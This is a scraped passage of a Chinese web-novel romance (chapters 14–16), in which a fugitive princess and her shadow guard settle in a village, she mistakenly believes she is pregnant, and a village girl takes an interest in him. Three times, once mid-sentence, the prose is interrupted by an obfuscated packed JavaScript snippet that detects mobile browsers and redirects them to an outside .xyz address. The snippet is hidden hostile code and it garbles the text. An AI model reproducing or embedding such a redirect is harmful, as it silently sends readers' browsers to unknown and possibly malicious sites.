陈家父母都是朴实老农,又因着陈绣娥的娘身子还染疾,没有心力阻拦有孕的新媳妇,陈有树就离了家,后来便没有下落了,而陈家父母在小儿走后遭新媳冷待,没过两年便去了,连口薄棺都没有,草席裹身就埋了。 李眠玉听罢,忍不住气愤:“陈高柱真乃、真乃牲畜,不,牲畜亦是耻同!简直猪狗不如,秽德彰闻,天地难容!燕寔,一会儿你便去陈高柱家,不将他狠揍一顿,实难解气!” 陈绣娥:“……倒也不必如此,断交就是,且陈高柱已经断了肋骨躺着了,哀声不绝。” 李眠玉回身,燕寔已是束好头发,穿好衣衫,从李眠玉身后走来,沉静的眼扫过陈绣娥。 陈绣娥被燕寔一双漆黑带弧的眼瞧了一眼,竟是觉得有些紧张……莫非是在怪她此时来坏了事? 燕寔出去井水旁打水了。 李眠玉又与陈绣娥说了几句,陈绣娥双目泛红,满是歉意说:“本是想让你们来村里有地住,没想到如今这般。” “无事,我阿兄会修屋的。”李眠玉从未见过这般无德之人,情绪气愤,但话到末处有些声小,“我们如今也无处可去,只是……不知村长可否能让我们借住?” 陈绣娥抹着眼睛,道:“村长年老心善,应是没问题,一会儿大城要去镇子里买些米面等日常所用,小燕可是要同去?” 李眠玉眨了眨眼,立即点头:“去,要去的!” “大城一会儿就走,咱们借村长的牛车,负重多些。”陈绣娥又道。 李眠玉自是无不可,点点头:“那一会儿我就让我阿兄过来。” 陈绣娥话带到了就走了。 待陈绣娥一走,李眠玉便几步踱到燕寔身旁,自然地蹲下身,将手放进他洗干净的水桶里掬起来洗脸,含了口水漱了漱口,又接过燕寔不知何时泡好的柳树枝洁牙。 待李眠玉抬起一张湿漉漉的脸,又骂了那陈高柱一遍,才是眼睛亮亮地看燕寔,说:“燕寔,一会儿你和朱大城去镇子里,我有好些东西要你买,首先要买纸砚笔墨,我要给崔云祈写信!” 燕寔也蹲着在等李眠玉洗完,听到这话,脸上无甚变化,他看着李眠玉,便垂下眼就着她洗过的水洗脸。 李眠玉又开始每日必要说的话:“我真的好想皇祖父。” 燕寔头一回抬头问:“那为什么不给圣上写信?” 少年俊俏凌厉的脸也湿漉漉的,水从他眉弓处往下顺着脸颊滴落,清晨的光落在上面,有细碎的光闪烁,眼睛里似也盛着光。 李眠玉却抿唇笑,一脸骄傲:“你傻不傻呀,皇祖父的行踪自然是隐秘的,无处可寻,哪怕是我,只能皇祖父来寻我。可崔云祈不一样,他无须躲避世人,我能猜到他或许在的地方,写信就能有寻到他的机会。再说,我找到崔云祈,他什么都会给我办好的,哪怕找皇祖父,他也会给我想办法的,他很厉害的。” 燕寔看着她,半晌后甩了甩脸上的水。 李眠玉被甩了一脸水,一下止住了本要夸崔云祈的话,轻呼:“燕寔你是小狗吗!还要抖毛甩水!” 燕寔随后低头,从腰间将一只破旧荷包取下来,递给李眠玉。 李眠玉虽是有些不解,但下意识打开那荷包,看到里面有几块碎银子和几个铜子儿,茫然一下,再抬头看他。 燕寔清声:“纸墨笔砚很贵,买不起。” 李眠玉呆了一呆,她从未考虑过这个问题,这一路上,燕寔会准备好干粮,她也从未担心过银钱,她一下结巴起来,“皇祖父、皇祖父没有给你银钱吗?” 燕寔静静看着她,幽声道:“时间太赶,只够召我回宫找你。” 李眠玉不敢置信:“难、难道一路上,我用的都是你自己的银钱吗?” 燕寔默然不语。 李眠玉忽然面红耳赤,连忙说:“青铃姑姑给我收拾了一些细软,你见过的,那些金钗金饰,那些……那些……要不都融了。”她话到一半也说不下去了。 她再如何也知道就算宫制首饰拿出去便会引人注目,若是要换银钱,只能融了。 燕寔说:“如今多地天灾战乱,流民多,不是谁都拿出这么多金子和珠玉宝石。” 李眠玉听懂了,眼眶渐渐湿了,她一下想到身上穿的磨疼胸口的粗衣,想到难以下口的粗食,难掩失落。 她丧气地将荷包递给燕寔,脑袋浑浑噩噩的,什么都想不了了,又开始想皇祖父了,若是皇祖父在…… 李眠玉恍惚着,可是皇祖父不在,她没有银钱该怎么养她自己和她的暗卫呢? 她开始想她会什么。 她不会针线,琴棋书画亦是一般,但她识字,她的簪花小楷写得很好,她会写祭文,皇祖父都夸她给父王母妃的祭文写得好,或许她可以给别人写祭文挣钱,但是写祭文要赚钱得死人多才行…… 燕寔接过荷包后,已经利落起身,随后转身看向李眠玉。 少年暗卫往后面的小树林看了一眼,没有说话,但以眼神询问。 李眠玉回过神来,仰头对上他那双漆黑的眼,想到什么,脸就慢腾腾红了,但因此她一下想起来马身上袋子里那些纸,忙起身去马那儿看,发现纸还剩了一点,可是没有笔也没有墨,又怎么写信? 且这些纸是她用来更衣的。 若是以后买不起纸,那她更衣怎么办? 李眠玉越发忧愁,浑浑噩噩去了小树林。 待她重新收拾好自己,脸红扑扑洗了手,便对燕寔说:“待你回来,你必须给我搭一间净房,里面要干净整洁,旁边要时常有干净的水可以用,最好要有熏香。”她小声并坚持:“这是最低的要求了。” 燕寔看她一眼,点头应声。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16071255|178322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 李眠玉也看他一眼,没好意思继续往下说了。 但燕寔难得起了话:“我以后怎么称呼公主?” 李眠玉觉得燕寔此时才问自己这个问题也未免太晚了一些,但细细一想,他寡言沉静,一路上似乎当着陈绣娥夫妻的面未曾称呼过她什么,便道:“我对陈绣娥夫妻说你是我阿兄,以后外人面前你就叫我小玉或者玉儿,我叫你阿兄,从今日开始,我就叫燕玉,你还叫燕寔。” 燕寔漆黑的眼看着她,确认:“小玉?燕、玉?” 李眠玉抿唇笑,赏赐一般看着她的暗卫:“我批准你了。” -- 从陈家村到最近的镇子里一来一回坐牛车需要至少两个多时辰,就算燕寔骑马过去,回来时先行回来,也要一个多时辰。 燕寔没想到要这样久。 李眠玉也没想到,她跟着燕寔一道来陈绣娥这里,一时有些眼巴巴看着他,想跟着他去镇子里。 陈绣娥瞧出来这对小儿女连这么点时间都不愿分离,便也拉着朱大城到一旁说话。 李眠玉满面愁绪,她自然知晓自己跟着去会耽误时间,可是这一个月她都没有和燕寔分开过,在如此陌生的地方,她不想与他分开…… 可她是宁国公主,她堂堂公主,胆子怎么能这样小? 不过是一两个时辰,脑子里想两篇祭文,时间就过去了。 李眠玉再抬起脸时,神情庄严得如一个守城的公主,抬手拍了拍燕寔臂膀,“你去吧,我在此等你归来。” 燕寔默默咽下了原先要说的话,看着她顿了顿,“真的?” 李眠玉点头,压低了声:“我是公主,我从不说谎。” 燕寔静了会儿,终于点头:“等我回来。” 李眠玉虽是那样豪气地和燕寔说了,但看着他与朱大城离去,还是有些不舍,她和陈绣娥站在村头的树下,看着燕寔骑在马上的高挑清瘦的背影,忍不住想上前。 燕寔似有所觉,回身看来。 真奇怪,明明距离这样远,李眠玉竟能感觉到他那双漆黑沉静的眼睛落在她身上,她赶忙朝他摆摆手,做出开朗模样。 朱大城赶着牛车,见燕寔频频回头,忍不住笑着说:“没事,娥娘会照顾好小玉。” 燕寔还是皱着眉,一路到了镇子里都如此。 到了镇子里,他与朱大城分开,先去了一趟府衙附近,混在人群里看了官府最新的告示后,先去了一趟成衣铺。 燕寔到了成衣铺看到琳琅满目的衣衫,摸了摸腰间荷包,沉静的眼一一扫过去,指了指上面挂着的三身细布衣裙,并一双便于行走的千层底的鞋。 铺子掌柜的是个三十来岁的妇人,瞧着少年虽身上穿的是粗布武袍,但生得器宇轩昂,实在俊俏挺拔,笑着迎上去,替他取下那三身衣裙包起来,“公子可还要旁的?” 燕寔没说话,目光转了一圈,没寻到肚兜,问询:“没有肚兜?” 掌柜的立刻掩嘴笑,“那等物件不便摆在外面,公子里面请。” 燕寔看她一眼,跟着进了里间。 掌柜的一边打开抽屉,一边问:“公子可知小娘子身形?里面穿的要合身才行,这里都是不同大小,公子随意挑选便是。” 燕寔眼睫垂着,耳朵很快红了,但面无表情上前挑了三件。 抱着包好的衣物从成衣铺出来,他又拿出荷包摸了摸。 是不是该去接几个杀人的生意? -- 燕寔和朱大城走后,陈绣娥陪着李眠玉往村尾回。 只是走了一小半的路,她忽然伸手揉了揉肚子,眉宇也皱紧着,似有几分难受的模样。 李眠玉见了,忧心:“陈娘子不舒服?” 陈绣娥面红了一下,低声与李眠玉道:“我应当是又有了。” 李眠玉半大的少女,一时听得迷糊,“又有什么了?” 陈绣娥看看身旁小娘子还懵懂的脸,笑了起来,“这里,又有小孩儿了。”她指了指肚子,声音很轻。 李眠玉听懂了,好奇看看妇人平坦的肚子,“你怎知呢?” 陈绣娥捂嘴:“从京里逃出来后,我的癸水一直没来,我都生过两个了,有经验了,这就是有了。” 李眠玉忽然捂住了肚子,已经想到了什么,冷汗忽然下来,声音开始磕磕绊绊了,“为什么没来癸水就是有了?许是癸水不规律呢?” 陈绣娥知有些事待出嫁时才知道,只当小娘子好奇,含糊着说:“我与大成是夫妻,感情好,一直睡在一处,我若该来癸水的日子没来癸水,八成就是有了,若是夫妻不睡在一处,那许是癸水不规律。” 李眠玉震惊了,半晌没吭声,捂着肚子脑子里开始浑浑噩噩混乱一片,既惊恐又慌张,灵魂开始飘远出去。 ……她这样久没来癸水,原来是有了。 她想想皇祖父这么多后妃这么多孩子,恍然大悟又十分迷茫,她还是不懂孩子是怎么钻进她的肚子的……可是她与燕寔这一个多月因为逃亡天天睡一起…… 她竟然和暗卫有了一个孩子……她明日才及笄,就有孩子了…… 她该怎么和崔云祈说?崔云祈会愿意认下这个孩子吗? 15.第15章 朱大城将银钱多数都买了米面等必需品,且买的都是粗面,牛车上装了好几袋子,他架着牛车等在和燕寔分别的地方,稍等一会儿,就见燕寔抱着只浴桶牵着匹马从不远处脚步沉稳走来。 他怔了一下,忙跳下牛车过去帮忙。 浴桶被搬上牛车,朱大城瞧了那么一眼,看到里面放了好些东西,另有几只盆,可米面袋子却只两只,且竟都是精面。 燕寔将浴桶里的两袋精面取出来挂在马背上,又将其他物件全包在包袱里,背在身上,只留浴桶放在牛车上,偏头对朱大城道:“你一个人行么?” 朱大城早已习惯少年的寡言,立刻明白他的意思,忙点头:“那点流民我能对付,你快回吧,小玉定是等急了。” 燕寔上了马,又看了一眼朱大城,却没有立即动。 待朱大城架了牛车驶出镇子,进入官道,便在后面远远跟了一段路。 有流民围聚,朱大城拿出藏在牛车里的铁楸,直接一楸砸在一个流民脑袋上,鲜血迸出,一瞬间的狠劲将流民惊退。 燕寔骑在马上若有所思,没有再跟着,扬鞭策马,迅疾往陈家村回。 半个多时辰后到了陈家村,他才稍稍放缓了速度,经过陈绣娥与朱大城的那间破屋时先看了一眼,没有人,便往村尾去。 昨日一行人到陈家村时已是傍晚,早上燕寔和朱大城又走得早,所以村中大多数人还不知村里来了生人,此时一见骑在高头大马上的俊俏武袍少年,纷纷张望过来。 燕寔视若无睹,加快速度往村尾去。 终于在破屋前拉停缰绳下马。 陈绣娥听到动静从屋里出来,看到燕寔便惊讶:“这么快!” 她往燕寔身后张望了一下,没看到朱大城,便知是燕寔先行回来了,她忙说道:“快进去看看小玉吧,她身子有些不适,这会儿正躺着呢!我先回自己那儿收拾屋子去。” 燕寔听到李眠玉不适,眉头皱了一下,将马迅速栓好便进了屋。 李眠玉躺在土炕上,双眼紧闭,两只手交叠着平放在小腹,除却双颊红润,身上就差盖一块白布。 燕寔看了看,又出去了,将绑在马身上的米面拿下来,再是拎进屋子。 还没放下,就见李眠玉已经睁开了眼,妙盈盈的眼正幽幽朝他看来,“你回来了呀。” 燕寔:“……”他莫名浑身一寒,漆黑的眼看看李眠玉,低声应了声,轻轻将米面放在地上,又将身上背的大包袱解下来放在土炕上。 李眠玉叹了口气,垂下眼睛揉了一下肚子,再看一眼燕寔,再揉一下肚子,这么来了三回后,眼睛一眨就红了眼眶,再一眨,泪珠子就滚落下来了,她抖着声说:“燕寔……我有了。” 燕寔润黑的眼底露出短暂的迷茫,但很快嗯了一声,便开始解旁边的包袱。 李眠玉见他反应如此平淡,心里一堵,越发难受了,一下坐起身来,用三分委屈三分难受四分控诉的眼神看着燕寔,“我说我有了!” 少年猫儿一样的眼朝她看去,眼底依旧是迷茫,但静一瞬后便问:“有什么了?” 李眠玉眼睛湿漉漉的,终于憋不住话了,捂着肚子说:“燕寔,我有身孕了,我的癸水本该在我们离宫后几日就来,可一直没来,我和你天天睡一起,所以我有身孕了。” 她有些语无伦次,显见的慌。 燕寔呆住了,艰难地一字一句地问:“有身孕?” 李眠玉点点头,朝他招招手,“你过来坐啊,离我这么远做什么,你是不是不想认?”她说着,因为惊慌,声音里已经带着些哭腔了,又嗔又恼。 少年脸上露出些迷茫,却听话地坐过去,清瘦挺拔的身体靠近了李眠玉,漆黑的眼直直看着她,还未来得及开口说什么,手就被捉住,按到了她的肚子上。 李眠玉哽咽着说:“这里,有小孩儿了,你看,我肚子都大了点。” 燕寔:“……”他小声,“这里是胃。” 李眠玉动作一顿,“那小孩儿在哪里?” 燕寔反手捉住她的手往下挪了点。 李眠玉揉了揉,声音依旧带着点哭腔,“这里也感觉大了点……你别管哪里,反正我有了身孕,孩子是你的,我只和你睡过。” 燕寔深吸一口气,低声:“不可能有身孕。” 李眠玉气恼:“你想耍赖?” 燕寔漂亮的眼睛依然看着她:“男女需媾和才会有孩子,我们没有媾和,只是躺在一起。” 李眠玉眨了眨眼睛,眼底水意瞬间消退一半,好奇问:“什么叫媾和?我读过很多书,没读到过这个词。” 燕寔:“……阴阳相合。” 李眠玉恼他说话不清不楚不明不白:“阴阳怎么相合?” 她离得很近,燕寔的手还按在她柔软的小腹,他的耳朵渐渐红了,俊俏的脸却板着,“和练功一样,练了就知道了,你将来的夫君会教你。” 李眠玉没有和燕寔说过,他虽生得漂亮俊美,但脸一板就有些凶,她气势都不自觉小了些,她没有立即吭声,心里却松了口气,“所以我和你睡在一起不会有小孩儿?” 燕寔:“……除非我们媾和。” 李眠玉虽然还不太懂媾和是什么,但她想燕寔既然说了这是她未来夫君会教她的,那她肯定不会和燕寔媾和,所以她和燕寔不会有孩子。 可是……李眠玉想到崔云祈,脸上飞起两片霞云,忽然看着燕寔,眼睛晶亮,凑过去小声说:“我怕我以后什么都不会在崔云祈面前丢丑,你是皇祖父给我的暗卫,就是我的人,你可以先教教我到底怎么个媾和吗?” 燕寔低头看着她,没立即吭声,一双眼盯着李眠玉。 那双眼极黑极润,快要将李眠玉吸进去,她的心里忽然慌了一下,后退了一些,可少年稍稍俯下身逼近了一些,“真的要我教吗?” 李眠玉虽不懂,但敏锐察觉到危险,忙摇头,但又想到自己是公主,怎能被暗卫的气势压倒,忙鼓着脸:“不了,我看还是以后让崔云祈教我吧。” 说完这话,她才是呼出一口气,又见燕寔靠得那样近,一下推了一下他。 燕寔顺势坐直了身体,侧过脸去,耳尖微红。 他没再多说什么,长手一捞,将放在土炕尾的大包袱拿了过来,摆到他和李眠玉的中间。 李眠玉的注意力立刻就被这大包袱吸引住,伸手解开,入眼先看到的是一双布鞋,红色的素面,没有绣花,但她如今穿的还是燕寔的鞋,看到这双鞋,脸上露出高兴神色,本想立即拿来穿,但又好奇燕寔还买了什么,便先将鞋放到一边。 当看到三身新衣裳,先是一高兴,又是失落下来,那样老气的颜色,青铃姑姑都不会穿,她伸手一摸,更嘟哝:“还是好粗糙。”但李眠玉想到自己如今用的是燕寔的私房钱,也没多说什么,只一张脸还是失落地鼓了起来,继续翻了翻,翻到了一叠黄色的纸,她抬头看向燕寔。 燕寔目光从李眠玉脸上落到了那叠纸上,“更衣用的。” 李眠玉皱眉嘀咕:“好硬。” 燕寔:“用之前揉一揉。” 李眠玉不想深入这个话题,她看到一只另外包起来的小布包,好奇打开,当看到几根细细的带子时,脸一下就红了,她湿漉漉的眼朝燕寔又看去,只看一眼,就收了回来,抓着布包背过身去细细看。 同样是素色不带绣花的,料子不是丝缎,但还算绵软。 她涨红了脸将布包重新包好,她想到燕寔去铺子里问人家买肚兜,且还是她穿的肚兜,许是他的手都摸过,脸就更红了,胡乱将布包往身后一藏,便去看其他的东西。 没什么其他东西了,另有两床薄被,半匹素色的布,和一些针线剪子,一盏油灯,几副碗筷和盐巴,并一些杂物。 李眠玉目光在针线上定住一瞬,又抬起头看燕寔,一双眼含嗔带羞。 燕寔看着她,声音很低:“铺子里没有卖袜子和裈。” 李眠玉本来已经平复下去的脸色腾得又红了,她看着燕寔,支支吾吾想说什么,又没立即说。 她根本不会针线,她自己做不了袜子和小裤……她想青铃姑姑了,她该怎么办? 算了……小裤应该很简单,缝一下应该就行。 但是她的小裤都是软缎,那里肌肤娇嫩,这布料这样粗,她穿了一月燕寔的内衫,腿根都磨红了,以后一直穿这样的…… 李眠玉不知该如何说,只能小声说:“没有更软的布料吗?“ 燕寔看她脸颊鼓着,顿了顿,一板一眼道:“现在买不起,我会赚钱,以后买更好的。” 李眠玉抬头,少年面容俊俏沉静,漆黑的眼盯着她,板着脸的样子又有些凶了,她一时想到许多,比如燕寔力气那样大能扛着她飞,比如她现在要依靠燕寔,不敢说不,她点了点头。 不过李眠玉静了会儿,忽然反应过来:“你什么都没给自己买吗?” 燕寔眼神迷离了一下,道:“我有两身换洗衣物,足够了。” 李眠玉看着燕寔的眼神忽然软了下来,带着怜爱,她郑重地说:“我是公主,应该我养你才对,怎么能让你赚钱养我?我已经想到了绝佳的赚钱办法,到时赚了钱,我给你买新衣服,那种崔云祈穿的丝绸软缎的衣裳。” 燕寔看着她,眼底忽的露出几分好奇,“什么赚钱办法?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16076547|178322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 李眠玉眸如清水,正色道:“写祭文,到时可让逝者亲属先付钱,我就有钱买纸墨笔砚写了,我文思泉涌,一天写个五篇没有问题。” 燕寔:“……” 他看着李眠玉认真的脸,垂眸很短促地笑了声。 少年声音清越,又让李眠玉呆了呆,她盯着燕寔笑起来时柔和的脸看,后知后觉他是在笑自己,又恼瞪他:“你笑什么?” 燕寔唇角压了压,低声说:“我会给你多找些有钱的死人的。” 李眠玉满意地笑了起来,抬手拍了拍燕寔肩膀,“甚好。” 说话间,她又摸了摸肚子,“燕寔,我肚子饿了,今日午食吃什么?” 燕寔从怀里拿出一只油纸包递过去,李眠玉接了过来,还是热乎的,她打开,发现是肉饼子,立即抿嘴笑了起来,张嘴咬下去,虽口感远不如宫中,可比起干粮玉米饼已是好许多。 “燕寔你吃过了吗?”李眠玉咽下去后,才眼睛亮亮抬头。 燕寔看着她点头:“嗯。” 李眠玉就放心了,低头小口啃饼。 燕寔起身,提起放在墙边的米面,“我去收拾厨房。” 这间屋的主人离去匆忙,厨房里好些东西还在,比如铁锅,但必须好好清理一番,灶台也需要修整。 李眠玉点点头。 燕寔出了屋子后在院子里站了会儿,将马牵去了屋后,那儿有草,他摸了摸马鬃,出了会儿神,忽然嘴角扬了扬。 他返身打了水去灶房。 -- 屋内点了一夜凝神的香,崔云祈却做了一夜的梦,半夜里起了烧,一直到第二日将将午时烧退。 侍从进来送药,他靠坐在床头,苍白的脸一片阴翳,询问:“可有寻到公主下落?” “未曾,南清寺往各方向的沿途路上都没有踪迹。”侍从低着头,声音恭敬。 崔云祈语气阴沉:“那一日进陇西郡的流民都盘查过了?” “盘查过了,没有见过样貌秀美的小娘子。” 崔云祈闭了闭眼,静了会儿,挥手让侍从下去,侍从却说:“先时卢大公子来过,见公子病着便留下一封信,嘱咐属下若是公子醒了,便将信给公子。” 他从怀里拿出一封信递过去。 崔云祈接了过来,先看了火漆,确实是卢元珺留下的,才打开信。 信中所言二事,第一桩事为陇西一处山脉铁矿一事,半月前,有人来陇西郡官府上报过此事,一直未曾得闲去办,如今交由他着手去办。 铁矿……崔云祈让侍从将陇西郡的地图拿来,他起身在桌案上展开,确定了地图上一处山坳,低声吩咐侍从:“成泉,这两日你挑些人去此处勘探一番,若有村庄,勿惊动人。” 侍从点头,下去办事,崔云祈看着卢元珺如其人般潇洒飞舞的字迹写下的第二桩事——“吾妹姝月贤良淑德,温婉端雅,为吾父独女,必可胜宁国公主,堪为良配,吾父与相爷有结亲之意,届时陇西自有明德一份地位,盼明德应之。” 卢元珺在信中殷殷唤崔云祈表字以示亲昵。 崔云祈笑了一下,将信丢进了香炉里。 -- 李眠玉坐在屋里吃饼,吃了许久不过三分之一,但已是饱腹,她将剩下的用油纸重新包好,穿上旧鞋子去找燕寔。 到了灶房门口,里面黑乎乎的,李眠玉没抬脚进去,往里张望,却没看到燕寔,正疑惑,就听身后少年清越的声音:“找我?” 李眠玉回头,怔了一下,手一松。 燕寔抬手接住肉饼,垂眸看了一眼,又抬起眼看她,长睫下瞳仁又黑又圆:“不吃了?” 李眠玉红着脸看燕寔,眼神都有些闪烁,“你怎么把衣服脱了?” 灰扑扑的武袍外衫从燕寔上身脱下,他只着了内衫,挽起了袖子,露出修长结实的小臂,如今天热,他的衣襟稍稍散开了些,胸口若隐若现,夏日天热,那内衫都湿透了,穿了跟没穿一样。 汗从下颌滴落下去,顺着脖颈滑到胸口…… 李眠玉好艰难才将目光从他身上挪开看别处,声音飘忽地说:“我吃不完了,拿来给你吃。” 燕寔看她一眼,低头看了一眼自己,没做声,随意咬下饼。 “小燕!”朱大城的声音从不远处传来,李眠玉赶紧看过去。 朱大城架着牛车过来,牛车上还坐了个小娘子。 燕寔顺着李眠玉的目光偏身看过去,李眠玉余光一跳,忽然抬手,迅速将燕寔的衣襟拉拢,两只袖子一拽,拉了下来。 她眉头皱了皱,谴责他:“村里人来人往那样多,以后你不许袒露身体,免得惊扰小娘子。” 16.第16章 燕寔垂头看李眠玉,金色光染在他脸上,凌厉的轮廓显得柔和了一些,晶莹的汗滴从他眉骨处落下来,正好落在李眠玉脸颊上。 她眨了眨眼,还未来得及反应,他便伸出手,拇指轻轻擦去。 少年指腹是厚厚的茧子,十分粗糙,李眠玉的脸颊柔软,她生出痒意,忍不住抬手揉了揉脸颊,她还盯着他,一脸严肃:“听到了吗?” 燕寔看着她,唇角似乎翘了一下,应了声,还未等李眠玉看清,他便转过身去,进了灶房里。 等他再出来时,肉饼没拿在手里了,身上已经穿着那件灰扑扑的武袍,衣襟一敛,腰带一束,将他湿透的肉、体遮掩得严实。 李眠玉呼出一口气,转过身去,“朱大叔!” 朱大城将牛车在小院前停下,坐在那牛车上的小娘子也跳了下来,她好奇地看过去,对方穿着身细布的红裙子,麦色的肌肤因着脸上的汗透出蜜色,弯眉大眼,清秀娇俏……且十分丰腴,跳下来时,胸口微微颤动,李眠玉忍不住看了好几眼。 她可真丰腴健美! 燕寔已经朝着牛车走去,将浴桶从牛车上搬了下来,他高挑挺拔,俊俏凌厉,浴桶在他手里似小物件一般,惹得那小娘子朝他望去好几眼,含羞带怯。 李眠玉下意识上前,白嫩的手往浴桶上搭了一把手。 燕寔垂眸看她一眼,没做声,将浴桶在井水旁先放了下来。 朱大城带着那小娘子进来,他下巴上的胡须长了一些,围绕着下颌,加上身形健壮,看着有些凶悍,可他说话却依然憨厚带笑,十分亲切:“这是村长家的小娘子陈春花,这一处的破屋是村长弟弟家的,听说有人要借住,便过来一趟,正好我给小燕送浴桶过来。” 这自然是朱大城美化过的,实则是老村长心善,得知陈绣娥还带回来一对少年,就答应了他们借住,可老村长的孙女陈春花知道了却不同意。 朱大城去还牛车时,小娘子是个辣性子,俏生生叉着腰站在堂屋里脆声说:“我叔叔婶婶和弟弟只是出去办大事了,才走了半月,指不定什么时候就回来了,怎么能把他们的屋给别人住,何况还是流民!我不同意,我答应弟弟要帮他看屋的!” 陈春花的爹在她幼时去山里打猎摔下山没了,之后她和她娘一直受她叔婶照顾,她从小被她叔婶疼着长大,在她心里叔婶是她第二个爹娘,是以对于流民借住她叔婶的屋反应很大。 老村长没辙,便不打算借了,朱大城就提议请陈春花一道过来看看李眠玉和燕寔,并再三保证他们是良善之人,陈春花虽不情愿,但一道过来了。 李眠玉不知其中关窍,只以为陈春花就是过来看看的,便对她露出腼腆文雅的笑容,腰板挺直。 燕寔一看李眠玉摆出公主典雅的架势,低下头按了按唇角。 果真,便听李眠玉柔声细语,客气有礼说:“陈娘子,我与兄长欲假尊居暂憩,当不逾数月,必自珍扫,断无损毁,伏惟垂允,感甚幸甚!” 朱大城:“……” 陈春花:“……” 两人脸上皆是出现茫然之色。 燕寔沉静的声音适时响起:“小玉说她和我在这里借住不会很久,最多几个月,一定会爱惜房屋,不会损毁,希望陈娘子同意。” 李眠玉第一次听燕寔这样唤自己,眨了眨眼,忍不住朝他看去,燕寔也转头朝她看来,她立刻给了他赞赏的一眼,随后再文雅地看向陈春花,“陈娘子,可否?” 随后她便看到俏丽健美的小娘子自燕寔开口说话后目光便不曾离开过他半分,蜜色脸颊飞起两片红晕,含羞带怯。 李眠玉:“……” 她的声音拔高了几分,再次道:“陈娘子,可否?” 陈春花此时才回过神来,面红耳赤,手捏着衣摆,依依不舍将目光从燕寔身上收回来,落到李眠玉身上,一看,又是一惊!忍不住又盯着她看了会儿。 心道,这一对兄妹是都是仙童转世吧!那将叔婶房子借给他们住也算是神仙那儿挂上名号了! “可,可!”陈春花又看一眼燕寔,露出羞涩的笑,声音都比往常轻了点,说,“我叔婶走得急,屋子乱着,东西也缺着,可要我帮忙收拾?” 燕寔淡声:“不用。” 被这般冷淡拒绝,陈春花心梗了一下,她在村里还没这般被差不多大的少年拒绝过。 但她又忍不住偷偷看他,想说什么,又说不出旁的话,余光一瞥,就见他妹妹在一旁正瞪着自己,忙红着脸说:“那、那有什么事便到我爷那儿来寻我就成,我叔婶把这屋子托付给我了。” 燕寔看向李眠玉。 李眠玉娇矜地点了点头。 朱大城见事情这般就成了,也是松了口气,这便请陈春花上牛车,将她再带回去。 陈春花有些依依不舍地点了头,上了牛车,心里想着那俊俏少年,一下想了许多。 等人一走,李眠玉就看向燕寔,燕寔却已经回身往井水旁走,她忙也转身跟了过去,站在一旁看他弯着腰打水冲洗浴桶。 许是李眠玉的目光太过灼灼,燕寔偏头看她。 少年目光幽静,漆黑的眼看过来时,极为专注。 李眠玉顿了顿,蹲下身来,将细白的手伸进井水桶里洗了洗,然后慢悠悠说:“陈春花喜欢你。” 燕寔眼中露出迷茫来,也蹲了下来,偏头问她:“陈春花是谁?” 他眼神清澈,就这样看着李眠玉,深黑色的瞳仁直勾勾的。 李眠玉话语一噎,洗手的动作顿住,瞪圆了眼睛看他:“就是方才那虽生得黑却俏丽丰腴的小娘子啊!朱大城不是说了,她叫陈春花。” 燕寔哦了一声,继续擦洗浴桶:“没注意。” 没注意听朱大城说话还是没注意陈春花? 李眠玉心里莫名有些高兴,再次看着他重复道:“燕寔,陈春花喜欢你。” 燕寔的手又停下来,回头看她,似乎有些不解:“为什么?” 李眠玉说到这个就有经验了,“我看出来了呀,我有经验,我早都跟你说啦,我情窦早开。她一过来看到你就盯着你看,目光一瞬不瞬的,而且她脸都红了,含羞带怯的,那就是喜欢上你了。” 少年漆黑目光沉静盯着她,声音低低的,似好奇,“目光一瞬不瞬,脸都红了,含羞带怯,就是喜欢上我了?” 李眠玉点头,看着燕寔笃定道:“我看到崔云祈也会盯着他看,他生得好看,我总想看他,这就是喜欢了。” 她说到这,很有兴致与她的暗卫说一说她和崔云祈定情的时候,怎么你看我一眼我看你一眼的。 可燕寔眼睛一眨不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16081755|178322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眨盯着她,忽然一板一眼道:“那你看着我也会脸红。”他顿了顿,“也是喜欢我吗?” 李眠玉一呆,心跳莫名快了起来,瞪着他忙说:“你胡说,我什么时候看你脸红了?” 燕寔不说话,只是看着她。 李眠玉想到了什么,脸腾得烧起来,支支吾吾说:“那是因为……因为更衣这样的事情总叫人害臊的!你必须给我搭一间净房!”她说到后面声音拔高了几分。 燕寔忽然抬起湿漉漉的手,用手背碰了一下李眠玉的脸,一触即离。 李眠玉意识到什么,都顾不上燕寔的手还在擦浴桶,忙站起来擦了一下自己的脸,鼓着脸就大声说:“我才不喜欢你,我喜欢崔云祈。” 崔云祈是第一公子,是皇祖父为她精挑细选的驸马,他才智过人容貌盛极,京都无人可比。 燕寔仰头看她,没吭声,低下头闷声不响继续擦洗浴桶。 少年有力的手抓着抹布,手背青色经络都是漂亮的。 